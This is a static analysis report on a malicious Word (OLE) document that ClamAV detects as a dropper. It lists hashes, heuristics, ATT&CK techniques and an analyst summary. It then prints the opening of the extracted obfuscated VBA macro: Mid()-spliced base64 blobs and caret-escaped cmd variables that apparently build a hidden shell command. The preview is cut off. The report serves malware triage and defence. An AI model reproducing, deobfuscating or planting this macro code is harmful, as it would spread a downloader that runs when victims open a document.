Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7072a33d5ecd44c…

MALICIOUS

Office (OLE)

68.5 KB Created: 2017-11-03 15:08:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: aa558b4ea48a0ff93a6fba43830aa938 SHA-1: 37e2ff91d1ef93d52f78ebfbb6a8e6e06297ca10 SHA-256: d7072a33d5ecd44cc89f356bc608009afce038b6be9fa0d5f362c6e201db1adf
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function to execute a command. This command likely downloads and executes a second-stage payload, as indicated by the ClamAV detection name 'Doc.Dropper.Agent-6364980-0' and the presence of a VBA macro named 'macros.bas'. The macro's obfuscated string concatenation suggests an attempt to hide the payload's origin or execution details.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6364980-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6364980-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10182 bytes
SHA-256: f445f997d3c452b6f97ab2d0f6dbdcd4430e6f353efb7a5137b40475b1270a1d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NPhMVzCjo"
Function lGUchPFGL()
KWFtYdDTon = Mid("9VK6EAOABfADUAOAAtADEAMQA2AEkAMQAwADEAcAAxADAAOQBwADEAMQAyAHIAMwAyAC0ANAAzAEkAMwAyAHAAMwA5AHIAOQAyAF8AMwA5AF8AMwAyAEUANAAzAEcAMwAyAHIAMwA2AH4AMQAxADAARwA5ADcAfgAxADAAOQBJADEAMAAxkfAvpdThGNmJAk1Em3iz", 5, 174)
sZKCpRKm = Mid("2AxADAANAAhADEAMQA2AEkAMQAxADYASQAxADEAMgAtADUAOABfADQANwAhADQANwBJADEAMQA5AH4AMQAwADgAcgA5ADcAfgAxADEANQBfADEAMQAwACEAMQAyADEAcgAxADEAdbivsbpqXaKwqLZ124", 2, 134)
hnSJnXVddhP = Mid("iYru3iLF0lcset %RwUFwBXjE%=w^er^s&&set %ZQstbfFvY%=owZnERPJb&&set %lGUchPFGL%=p^o&&set %TjISFAKwa%=fGonLAzNKos8", 12, 97)
abJcf = Mid("icRriEn5J8z7uqKjD19AF8AMQAyADAALQA2ADUAXwA0ADcAXwA0ADznfX5NfzhPTX7Luoz", 20, 34)
KLGHFbprUvc = Mid("0fLCkYANAByADEAMAA4AC0AMQAxADUAfgAzADIARQA2ADEAIQAzADIARQAzADkARQpMEcOtoINM", 7, 59)
jMNFtihSl = Mid("zxAHAAMQAwADkALQA0ADcAVwA4ADIAVwA5ADkAfgA4ADYAIQA0ADcRDvZC9SBpibhIYWJDIZMQD", 2, 52)
zncSQdHYUQu = Mid("q9DEAMAA5AFcAMwAyAF8ANgAxAF8AMwAyAHIAMQAxADAASQAxADAAMQBHADEAMQA5AEkANAA1AFcAMQAxADEARwA5ADgAX8W3uwC4MzEkoBET8tPCp4nY4", 3, 92)
wiEdrTI = Mid("4OKdislUfKcvGXi8IwjGHodEoQA3AEcAMQAxADQAIQAxADAAOABXADQANgAtADgANAB+ADEAMQAxAC0AOAAzAF8AMQAxADYAXwAxADEANAAhADEAMAA1AHAAMQAxADAASQAxADAAMwBB54s81Yu0v6iV", 26, 114)
hEmkHuQ = Mid("3JNw9z72caTAxADAAMAAhADEAMQA3AEkAMQAxADEASQAxADEAMAAtADEAMAAzACEANAA2AH4AMQAxADgASQAxADEAMABfADQANwBwADcAMwBFADEAMQA5AC0ANwA0AEkAMQAxADAASQA3ADAASQA0ADcAfgA0ADQASQAxADAANAB+ADEAMQA2AHIAMQAxADYAfgAxADENdaL6AdkH", 12, 189)
HUZCjtLV = Mid("s0rMFdiJRA2AFcAMQAwADEAfgA0ADUAXwAxADAANAB+ADEAMQAxAEUAMQAxADUARQAxADEANgBwADMAMgBHADMANgByADkANQBXADQANgBwADUO", 10, 100)
DtDDVX = Mid("iADMAVwAxADEAMgAhADEAMAA4AC0AMQAwADUASQAxADEANgB+ADQAMAByAD6sWV7pUTliRpB6AzQwKs10O074UF", 2, 58)
cbwMNswjSic = Mid("2wAxADAANgAtADEAMAAxAEcAOQA5AF8AMQAxADYAXwAioQWqQoXmvhjWwPz0cYXbRZ8o", 2, 42)
UYiPjvIHhM = Mid("j32DEAMQA2AEUAMQAxADYAVwAxADEAMgBXADUAOAByADQANwBJADQANwB+ADkANwByADEAMAAzAH4AMQAwADEALQAxADEAMABXADEAMQA2AEkAMQAxADcAIQAxADEANABXADkANwBfADQANQAhADEAMAASFoOz97QljDiMj7Fnq", 4, 150)
qUazXUz = Mid("DsqAxADAAMQB+ADEAMQA1AFcAMQAxADUARQAzADIAcAAzADYARQAxADEAMgBFADkANwBFADEAMQA2AHIAMQAwADQAcs8qiztOXi", 4, 87)
fGYhd = Mid("vhTMwBwADUAMwAhADUAMQBHADUANAByADQAMQB+ADUAORjzf8Dzz", 4, 41)
bwDfKEDvnK = Mid("7Vtu1rl0cD1HMAaABvAG0ARQBbADIAMQBdACsAJABQAFMASABvAG0AZQBbADMAMABdACsAJwBYACcAKQawDibJ8", 12, 69)
AqwZqJJ = Mid("KTN3VR6zNQAwADgAfgAxADAANQBFADEAMAAxAHAAMQAxADAAcAAxADEANgBXADMAMgByADYAMQAtADMAMgBXADEAMQAwAH4AMQAwADEARwAxADEAOQByADQANQBXADEAMQAxAHIAOQA4AH4AMQAwADYAXwAxADAAMQB+ADkAOQBXADEAMQA2AEcAMwAyAF8AOvBOKCo", 10, 184)
LiBqwPV = Mid("F07N96WQHoofVXtiQBzwK3SfJYShmWAAMQBwADEAMgAzACEAMQAxADYAfgAxADEANABfADEAMgAxAEkAMQAyADMAcgAzADYASQAxADEAOQBfADEAMAAxAEUAOQA4ACEAOQA5ACEAMQAwADgAcgAxADAANQBwADEAMAAxAC0AMQAxADAAcgAxADEANgBHSSLU", 32, 156)
SoXERffzLNj = Mid("9Yi7sCwjIzuXTMaKfqdFnRzAoACgAIAAnADMANgAhADEAMQA5AH4AMQAxADUAcAA5ADkASQAxADEANABXADEAMAA1AFcAMQAxADIAVwAxADEANgBHADMAMzfRsvpMAzau", 24, 95)
kFwiHiljl = Mid("1zfPmBvDFiDsdOIHADAANQBXADkANwBFADEAMQA0AH4AMQAxADYAcgA0ADYAIQA5ADkAXwAxADEAMQBwADEAMAA5AHAANAA3AHAANwA2VMAhfHZwT", 17, 88)
dqwLCiY = Mid("f6rDcAOQAtADEAMQAzAC0AOAA0AEUAMQAyADEAcAA0ADcASQA0ADQAIQAxADAANABHADEAMQA2AEkAMQAxADYASQAxADEAMgB+ADUAOABHADQANwBwADQANwBJADEAMAA1AC0AMQAxADAAXwAxADEAMwBJADEAMAA1AHIAMQAwADgALQA5ADcAfgA5ADgAVwAxGPMt5QKmuiAT", 4, 191)
YzRnLMXLt = Mid("NdTqpYdLb8WbrJtt8Th1KdT7JpqY8uHFzBqAH4AMQAxADAAcgAzADIARQAzADYAcAAxADEANwAtADEAMQA0AEkAMQAwADgAVwAxADEANQBFADQ5XV", 36, 75)
aBNiGIIAVn = Mid("EGkpwADQALQ8Jdhvt0AFro1UhsBkDES9RFZBZ", 5, 7)
SRrRL = Mid("p2AtADEAMQAwAHIAMQAxADYASQA1ADkAVwAzADYAVwAxADEANABFADkANwByADEAMQAwAF8AMQAwADAAXwAxADEAMQBXAoI82cU1bY", 3, 91)
IjXwSLEB = Mid("Fv2OATtMP6lHj3EB+ADEAMsnUj68E8Pb9pw", 16, 7)
wRjLjhk = Mid("zKDs4uR6ZiRgAnACcAKQA=aRiU40DzqR7uPTdpfXk", 12, 11)
ioKGvDI = Mid("nMNAjER
... (truncated)

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